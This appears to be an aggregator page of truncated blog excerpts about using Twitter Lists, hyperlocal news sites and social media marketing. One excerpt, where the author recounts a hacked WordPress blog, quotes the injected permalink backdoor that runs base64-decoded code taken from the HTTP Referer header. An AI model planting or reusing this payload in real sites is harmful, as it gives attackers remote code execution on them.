Submitted by Pkitano
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This slideshow is a more elegant follow up instructional guide to embedding Twitter List widgets into a Breaking News city site that I discussed in the previous article regarding building community news resource sites. You can see examples of Breaking News city sites for SF, LA, NYC, Seattle, London and many other cities li (Read More)
Submitted by Pkitano
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Two weeks ago, we showed you how to build a dynamic community news resource in one hour on Twitter. Today we’ll show you how to use Twitter List widgets to build dynamic community news resource website that aggregate and display the best local Twitter feeds.
1. Best is to start with an existing Breaking News Network [...]. (Read More)
Submitted by Pkitano
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Tony, the obvious benefit of Twitter Lists is to organize your Twitter stream into groups so you can focus Twitter conversations categorically. However, I see Lists as a key component on what makes Twitter a good will engine. Here are ten ways to use Twitter to build your personal brand by spreading good will:
Twitter Lists. (Read More)
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We have had success providing our social media training platform to a number of REALTOR Boards (an example in far flung Oklahoma City) and are extending the platform to any associations or enterprises who can use a social media training resource free.The free social media training platformView more presentations from Pat Ki (Read More)
Submitted by Pkitano
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The title of this post seemed to be coined by Dave Troy in his post “Why Twitter Lists Change Everything” (recommended). It’s an apt term that describes 1) how anybody can now become a media source to “curate” news compelling to their readership and 2) how delivering that news provides “economic” value to both the [...] (Read More)
Submitted by Pkitano
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Here’s a perfect way to engage your community by providing them with local breaking news resources using Twitter and Twitter Lists. And it only takes ONE HOUR to build… see the slideshow (best seen in full screen)!Build a dynamic local community news resource on Twitter in one hourView more presentations from Pat Kitano.If (Read More)
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Suddenly, this Wordpress blog’s feed stopped working and all the permalinks had this strange code embedded at the end of the link: %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/I asked on Twitter and Facebook for help (tx James & Kevin for help!). Usually this works.Upon Googling the above code, I find out the p (Read More)
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Originally published on October 15, 2009:This is one way social media has changed the sales process.Traditional corporate sales forces are hired for their industry expertise. A product or service that targets the hospitality industry will seek account executives with that background. But suppose the company realizes that it (Read More)
Submitted by Pkitano
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Originally published Sept. 29. 2009:I originally intended this slideshow for local business people who wanted a blog for marketing purposes, but didn’t have the inclination to start a blog due to writing and time commitments. After posting the slideshow, I received feedback that Posterous was a great method to create new “b (Read More)
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Twitter lists will change how people network themselves into groups and geographies. Although the first lists will develop around social media (top 100s, etc.), they will eventually develop around organizations / civic groups, enterprises and geographies / neighborhoods. Once this happens, Twitter will evolve into a hyperlo (Read More)
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Facebook’s share of 25% of US pageviews is truly dominating for an application that just started taking off a couple of years ago. Businesses can’t afford to ignore social media in the face of this. (Read More)
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Real estate brokers and agents are an identifiable categorical group in the social media, everybody recognizes their presence talking shop or chatting up the local community. The industry’s relationship with the Internet has historically been mercenary; the principal reason for online presence, whether with a website in 200 (Read More)
Submitted by Pkitano
from blog:
I originally intended this slideshow for local business people who wanted a blog for marketing purposes, but didn’t have the inclination to start a blog due to writing and time commitments. After posting the slideshow, I received feedback that Posterous was a great method to create new “blogs” on a variety of topics and int (Read More)
Submitted by Pkitano
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Programming motivational speaker Tony Robbins at the 140 | Twitter conference was a stroke of genius. Not only did it inject spirit into the staid normality of a tech conference, but Tony presented how he’s integrated Twitter into the Robbins’ philosophy.Simply put, Robbins laid out the Maslow-like six human needs and demon (Read More)
Submitted by Pkitano
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At noon today at the 140 Twitter Conference at the Skirball in LA, we’ll be hosting a panel on Hyperlocal Twitter Business Models. If you’re at #140TC, please join us at the Breakout Room.
H/T to Steve Broback for putting together a conference that combines celebrity and tech in an engaging setting. (Read More)